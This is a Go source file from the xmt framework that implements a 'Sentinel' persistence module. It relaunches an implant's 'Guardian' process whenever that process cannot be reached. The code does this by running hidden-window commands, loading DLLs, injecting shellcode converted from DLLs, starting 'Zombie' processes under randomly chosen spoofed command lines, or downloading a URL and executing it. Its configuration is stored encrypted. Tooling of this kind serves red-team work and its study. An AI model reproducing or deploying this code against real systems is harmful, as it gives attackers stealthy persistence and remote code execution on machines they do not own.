github.com/iDigitalFlame/xmt@v0.5.1/man/sentinel.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package man 18 19 import ( 20 "context" 21 "crypto/cipher" 22 "crypto/rand" 23 "io" 24 "os" 25 "time" 26 27 "github.com/iDigitalFlame/xmt/cmd" 28 "github.com/iDigitalFlame/xmt/cmd/filter" 29 "github.com/iDigitalFlame/xmt/data" 30 "github.com/iDigitalFlame/xmt/data/crypto" 31 "github.com/iDigitalFlame/xmt/device" 32 "github.com/iDigitalFlame/xmt/util" 33 "github.com/iDigitalFlame/xmt/util/bugtrack" 34 "github.com/iDigitalFlame/xmt/util/xerr" 35 ) 36 37 const ( 38 // Self is a constant that can be used to reference the current executable 39 // path without using the 'os.Executable' function. 40 Self = "*" 41 42 sentPathExecute uint8 = 0 43 sentPathDLL uint8 = 1 44 sentPathASM uint8 = 2 45 sentPathDownload uint8 = 3 46 sentPathZombie uint8 = 4 47 48 timeout = time.Second * 5 49 timeoutWeb = time.Second * 15 50 ) 51 52 // ErrNoEndpoints is an error returned if no valid Guardian paths could be used 53 // and/or found during a launch. 54 var ErrNoEndpoints = xerr.Sub("no paths found", 0x11) 55 56 // Sentinel is a struct that can be used as a 'Named' arguments value to 57 // functions in the 'man' package or can be Marshaled from a file or bytes 58 // source. 59 type Sentinel struct { 60 paths []sentinelPath 61 filter.Filter 62 } 63 type sentinelPath struct { 64 path string 65 extra []string 66 t uint8 67 } 68 69 // Check will attempt to contact any current Guardians watching on the supplied 70 // name. This function returns false if the specified name could not be reached 71 // or an error occurred. 72 // 73 // This function defaults to the 'Pipe' Linker if a nil Linker is specified. 74 func Check(l Linker, n string) bool { 75 if l == nil { 76 l = Pipe 77 } 78 v, err := l.check(n) 79 if bugtrack.Enabled { 80 bugtrack.Track("man.Check(): l.(type)=%T n=%s, err=%s, v=%t", l, n, err, v) 81 } 82 return v 83 } 84 func (p *sentinelPath) valid() bool { 85 if p.t > sentPathZombie || len(p.path) == 0 { 86 return false 87 } 88 if p.t > sentPathDownload && len(p.extra) == 0 { 89 return false 90 } 91 if p.t != sentPathDownload && p.t != sentPathExecute { 92 p.path = device.Expand(p.path) 93 if _, err := os.Stat(p.path); err != nil { 94 return false 95 } 96 } 97 if !cmd.LoaderEnabled && p.t == sentPathZombie { 98 return false 99 } 100 return true 101 } 102 103 // AddDLL adds a DLL execution type to this Sentinel. This will NOT validate the 104 // path beforehand. 105 func (s *Sentinel) AddDLL(p string) { 106 s.paths = append(s.paths, sentinelPath{t: sentPathDLL, path: p}) 107 } 108 109 // AddASM adds an ASM execution type to this Sentinel. This will NOT validate the 110 // path beforehand. 111 // 112 // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion 113 // function (if enabled). 114 func (s *Sentinel) AddASM(p string) { 115 s.paths = append(s.paths, sentinelPath{t: sentPathASM, path: p}) 116 } 117 118 // AddExecute adds a command execution type to this Sentinel. This will NOT validate 119 // the command beforehand. 120 func (s *Sentinel) AddExecute(p string) { 121 s.paths = append(s.paths, sentinelPath{t: sentPathExecute, path: p}) 122 } 123 func (s *Sentinel) read(r io.Reader) error { 124 return s.UnmarshalStream(data.NewReader(r)) 125 } 126 func (s *Sentinel) write(w io.Writer) error { 127 return s.MarshalStream(data.NewWriter(w)) 128 } 129 func (p sentinelPath) run(f *filter.Filter) error { 130 if bugtrack.Enabled { 131 bugtrack.Track("man.(sentinelPath).run(): Running p.t=%d, p.path=%s", p.t, p.path) 132 } 133 switch p.t { 134 case sentPathDLL: 135 if bugtrack.Enabled { 136 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a DLL", p.t, p.path) 137 } 138 x := cmd.NewDLL(p.path) 139 x.SetParent(f) 140 err := x.Start() 141 x.Release() 142 return err 143 case sentPathASM: 144 if bugtrack.Enabled { 145 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is ASM", p.t, p.path) 146 } 147 b, err := data.ReadFile(p.path) 148 if err != nil { 149 return err 150 } 151 x := cmd.NewAsm(cmd.DLLToASM("", b)) 152 x.SetParent(f) 153 err = x.Start() 154 x.Release() 155 return err 156 case sentPathZombie: 157 if bugtrack.Enabled { 158 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Zombie", p.t, p.path) 159 } 160 b, err := data.ReadFile(p.path) 161 if err != nil { 162 return err 163 } 164 var a string 165 switch { 166 case len(p.extra) > 1: 167 a = p.extra[util.FastRandN(len(p.extra))] 168 case len(p.extra) == 0: 169 return cmd.ErrEmptyCommand 170 case len(p.extra) == 1: 171 a = p.extra[0] 172 } 173 x := cmd.NewZombie(cmd.DLLToASM("", b), cmd.Split(a)...) 174 x.SetParent(f) 175 x.SetNoWindow(true) 176 x.SetWindowDisplay(0) 177 err = x.Start() 178 x.Release() 179 return err 180 case sentPathExecute: 181 var x *cmd.Process 182 if p.path == Self { 183 if bugtrack.Enabled { 184 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is Self", p.t, p.path) 185 } 186 e, err := os.Executable() 187 if err != nil { 188 return err 189 } 190 x = cmd.NewProcess(e) 191 } else { 192 if bugtrack.Enabled { 193 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Command", p.t, p.path) 194 } 195 x = cmd.NewProcess(cmd.Split(p.path)...) 196 } 197 x.SetParent(f) 198 x.SetNoWindow(true) 199 x.SetWindowDisplay(0) 200 err := x.Start() 201 x.Release() 202 return err 203 case sentPathDownload: 204 if bugtrack.Enabled { 205 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Download", p.t, p.path) 206 } 207 var a string 208 switch { 209 case len(p.extra) > 1: 210 a = p.extra[util.FastRandN(len(p.extra))] 211 case len(p.extra) == 1: 212 a = p.extra[0] 213 } 214 x, v, err := WebExec(context.Background(), nil, p.path, a) 215 if err != nil { 216 return err 217 } 218 x.SetParent(f) 219 if err = x.Start(); err != nil && len(v) > 0 { 220 os.Remove(v) 221 } 222 x.Release() 223 return err 224 } 225 if bugtrack.Enabled { 226 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is unknown!", p.t, p.path) 227 } 228 return cmd.ErrNotStarted 229 } 230 231 // AddZombie adds a command execution type to this Sentinel. This will NOT validate 232 // the command and filepath beforehand. 233 // 234 // The supplied vardic of strings are the spoofed commands to be ran under. The 235 // first argument of each fake command MUST be a real binary, but the arguments 236 // can be whatever. AT LEAST ONE MUST BE SUPPLIED FOR THIS TO BE CONSIDERED VALID. 237 // 238 // Multiple spoofed commands may be used to generate a randomly picked command 239 // on each runtime. 240 // 241 // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion 242 // function (if enabled). 243 func (s *Sentinel) AddZombie(p string, a ...string) { 244 s.paths = append(s.paths, sentinelPath{t: sentPathZombie, path: p, extra: a}) 245 } 246 247 // MarshalStream will convert the data in this Sentinel into binary that will 248 // be written into the supplied Writer. 249 func (s Sentinel) MarshalStream(w data.Writer) error { 250 if err := s.Filter.MarshalStream(w); err != nil { 251 return err 252 } 253 if err := w.WriteUint16(uint16(len(s.paths))); err != nil { 254 return err 255 } 256 for i := 0; i < len(s.paths) && i < 0xFFFF; i++ { 257 if err := s.paths[i].MarshalStream(w); err != nil { 258 return err 259 } 260 } 261 return nil 262 } 263 264 // AddDownload adds a download execution type to this Sentinel. This will NOT validate 265 // the URL beforehand. 266 // 267 // The URL will be downloaded on triggering and will be ran based of off the 268 // 'Content-Type' HTTP header. 269 // 270 // The supplied vardic of strings is optional but can be used as a list of HTTP 271 // User-Agents to be used. The strings support the 'text.Matcher' interface. 272 // 273 // Multiple User-Agents may be used to generate a randomly picked User-Agent on 274 // each runtime. 275 func (s *Sentinel) AddDownload(p string, a ...string) { 276 s.paths = append(s.paths, sentinelPath{t: sentPathDownload, path: p, extra: a}) 277 } 278 279 // File will attempt to Marshal the Sentinel struct from the supplied file path. 280 // This function will take any environment variables into account before loading. 281 // 282 // Any errors that occur during reading will be returned. 283 func File(c cipher.Block, p string) (*Sentinel, error) { 284 var s Sentinel 285 if err := s.Load(c, device.Expand(p)); err != nil { 286 return nil, err 287 } 288 return &s, nil 289 } 290 291 // UnmarshalStream will attempt to read the data for this Sentinel from the 292 // supplied Reader. 293 func (s *Sentinel) UnmarshalStream(r data.Reader) error { 294 if err := s.Filter.UnmarshalStream(r); err != nil { 295 return err 296 } 297 n, err := r.Uint16() 298 if err != nil { 299 return err 300 } 301 s.paths = make([]sentinelPath, n) 302 for i := uint16(0); i < n; i++ { 303 if err = s.paths[i].UnmarshalStream(r); err != nil { 304 return err 305 } 306 } 307 return nil 308 } 309 310 // Save will attempt to write the Sentinel data to the supplied on-device file 311 // path. This function will take any environment variables into account before 312 // writing. 313 // 314 // If the supplied cipher is not nil, it will be used to encrypt the data during 315 // writing, otherwise the data will be un-encrypted. 316 // 317 // Any errors that occur during writing will be returned. 318 func (s *Sentinel) Save(c cipher.Block, p string) error { 319 // 0x242 - CREATE | TRUNCATE | RDWR 320 f, err := os.OpenFile(device.Expand(p), 0x242, 0644) 321 if err != nil { 322 return err 323 } 324 err = s.Write(c, f) 325 f.Close() 326 return err 327 } 328 329 // Load will attempt to read the Sentinel struct from the supplied file path. 330 // This function will take any environment variables into account before reading. 331 // 332 // If the supplied cipher is not nil, it will be used to decrypt the data during 333 // reader, otherwise the data will read un-encrypted. 334 // 335 // Any errors that occur during reading will be returned. 336 func (s *Sentinel) Load(c cipher.Block, p string) error { 337 // 0x242 - READONLY 338 f, err := os.OpenFile(device.Expand(p), 0, 0) 339 if err != nil { 340 return err 341 } 342 err = s.Read(c, f) 343 f.Close() 344 return err 345 } 346 func (p sentinelPath) MarshalStream(w data.Writer) error { 347 if err := w.WriteUint8(p.t); err != nil { 348 return err 349 } 350 if err := w.WriteString(p.path); err != nil { 351 return err 352 } 353 if p.t < sentPathDownload { 354 return nil 355 } 356 return data.WriteStringList(w, p.extra) 357 } 358 359 // Find will initiate the Sentinel's Guardian launching routine and will seek 360 // through all it's stored paths to launch a Guardian. 361 // 362 // The Linker and name passed to this function are used to determine if the newly 363 // launched Guardian comes up and responds correctly (within the appropriate time 364 // constraints). 365 // 366 // This function will return true and nil if a Guardian was launched, otherwise 367 // the boolean will be false and the error will explain the cause. 368 // 369 // Errors caused by Sentinel paths will NOT stop the search and the most likely 370 // error returned will be 'ErrNoEndpoints' which results when no Guardians could 371 // be loaded. 372 func (s *Sentinel) Find(l Linker, n string) (bool, error) { 373 if len(s.paths) == 0 { 374 return false, ErrNoEndpoints 375 } 376 var ( 377 f = &s.Filter 378 err error 379 ) 380 if f.Empty() { 381 f = filter.Any 382 } 383 for i := range s.paths { 384 if !s.paths[i].valid() { 385 continue 386 } 387 if bugtrack.Enabled { 388 bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d", n, i, s.paths[i].t) 389 } 390 if err = s.paths[i].run(f); err != nil { 391 if bugtrack.Enabled { 392 bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d, err=%s", n, i, s.paths[i].t, err.Error()) 393 } 394 continue 395 } 396 if bugtrack.Enabled { 397 bugtrack.Track("man.(*Sentinel).Find(): Wake passed, no errors. Checking l.(type)=%T, n=%s now.", l, n) 398 } 399 if time.Sleep(timeout); !Check(l, n) { 400 if bugtrack.Enabled { 401 bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s failed.", l, n) 402 } 403 continue 404 } 405 if bugtrack.Enabled { 406 bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s passed!", l, n) 407 } 408 return true, nil 409 } 410 if err == nil { 411 err = ErrNoEndpoints 412 } 413 return false, err 414 } 415 416 // Wake will attempt to locate a Gurdian with the supplied Linker and name. If 417 // no Guardian is found, the 'Find' function will be triggered and will start 418 // the launching routine. 419 // 420 // This function will return true and nil if a Guardian was launched, otherwise 421 // the boolean will be false and the error will explain the cause. If the error 422 // is nil, this means that a Guardian was detected. 423 // 424 // Errors caused by Sentinel paths will NOT stop the search and the most likely 425 // error returned will be 'ErrNoEndpoints' which results when no Guardians could 426 // be loaded. 427 func (s *Sentinel) Wake(l Linker, n string) (bool, error) { 428 if Check(l, n) { 429 return false, nil 430 } 431 return s.Find(l, n) 432 } 433 434 // Read will attempt to read the Sentinel data from the supplied Reader. If the 435 // supplied cipher is not nil, it will be used to decrypt the data during reader, 436 // otherwise the data will read un-encrypted. 437 func (s *Sentinel) Read(c cipher.Block, r io.Reader) error { 438 if c == nil { 439 return s.read(r) 440 } 441 var ( 442 k = make([]byte, c.BlockSize()) 443 n, err = r.Read(k) 444 ) 445 if err != nil { 446 return err 447 } 448 if n != c.BlockSize() { 449 return io.ErrUnexpectedEOF 450 } 451 i, err := crypto.NewBlockReader(c, k, r) 452 if err != nil { 453 return err 454 } 455 err = s.read(i) 456 i.Close() 457 return err 458 } 459 func (p *sentinelPath) UnmarshalStream(r data.Reader) error { 460 if err := r.ReadUint8(&p.t); err != nil { 461 return err 462 } 463 if err := r.ReadString(&p.path); err != nil { 464 return err 465 } 466 if p.t < sentPathDownload { 467 return nil 468 } 469 return data.ReadStringList(r, &p.extra) 470 } 471 472 // Write will attempt to write the Sentinel data to the supplied Writer. If the 473 // supplied cipher is not nil, it will be used to encrypt the data during writing, 474 // otherwise the data will be un-encrypted. 475 func (s *Sentinel) Write(c cipher.Block, w io.Writer) error { 476 if c == nil { 477 return s.write(w) 478 } 479 var ( 480 k = make([]byte, c.BlockSize()) 481 _, err = rand.Read(k) 482 ) 483 if err != nil { 484 return err 485 } 486 n, err := w.Write(k) 487 if err != nil { 488 return err 489 } 490 if n != c.BlockSize() { 491 return io.ErrShortWrite 492 } 493 o, err := crypto.NewBlockWriter(c, k, w) 494 if err != nil { 495 return err 496 } 497 err = s.write(o) 498 o.Close() 499 return err 500 } 501 502 // WakeMultiFile is similar to 'WakeFile' except this function will attempt to load 503 // multiple Sentinels from the supplied vardic of string paths. 504 // 505 // This function will first check for the existence of a Guardian with the supplied 506 // Linker and name before attempting to load any Sentinels. 507 // 508 // Sentinels will be loaded in a random order then the 'Find' function of each 509 // one will be ran. 510 // 511 // If the supplied cipher is not nil, it will be used to decrypt the data during 512 // reader, otherwise the data will read un-encrypted. 513 // 514 // This function will return true and nil if a Guardian was launched, otherwise 515 // the boolean will be false and the error will explain the cause. If the error 516 // is nil, this means that a Guardian was detected. 517 func WakeMultiFile(l Linker, name string, c cipher.Block, paths []string) (bool, error) { 518 if len(paths) == 0 { 519 return false, ErrNoEndpoints 520 } 521 if len(paths) == 1 { 522 _, r, err := WakeFile(l, name, c, paths[0]) 523 return r, err 524 } 525 if Check(l, name) { 526 return false, nil 527 } 528 // NOTE(dij): Instead of running concurrently, do these randomly, but only 529 // pick len() many times. Obviously, we might not cover 100% but 530 // *shrug*. 531 // 532 // We can cover duplicates though with 'e'. 533 var ( 534 e = make([]*Sentinel, len(paths)) 535 r bool 536 err error 537 ) 538 for i, v := 0, 0; i < len(paths); i++ { 539 if v = int(util.FastRandN(len(paths))); e[v] == nil { 540 if e[v], err = File(c, paths[v]); err != nil { 541 continue 542 } 543 } 544 /*} else { 545 // NOTE(dij): Should we run again already loaded entries? 546 // Defaults to yes. 547 }*/ 548 if r, err = e[v].Find(l, name); err != nil { 549 continue 550 } 551 if r { 552 return true, nil 553 } 554 } 555 return false, nil 556 } 557 558 // WakeFile will attempt to load a Sentinel from the supplied string path if a 559 // Guardian cannot be detected with the supplied Linker and name. 560 // 561 // If no Guardian was found the Sentinel will be loaded and the 'Find' function 562 // one will be ran. 563 // 564 // If the supplied cipher is not nil, it will be used to decrypt the data during 565 // reader, otherwise the data will read un-encrypted. 566 // 567 // This function will return true and nil if a Guardian was launched, otherwise 568 // the boolean will be false and the error will explain the cause. If the error 569 // is nil, this means that a Guardian was detected. 570 func WakeFile(l Linker, name string, c cipher.Block, path string) (*Sentinel, bool, error) { 571 if Check(l, name) { 572 return nil, false, nil 573 } 574 s, err := File(c, path) 575 if err != nil { 576 return nil, false, err 577 } 578 r, err := s.Wake(l, name) 579 return s, r, err 580 }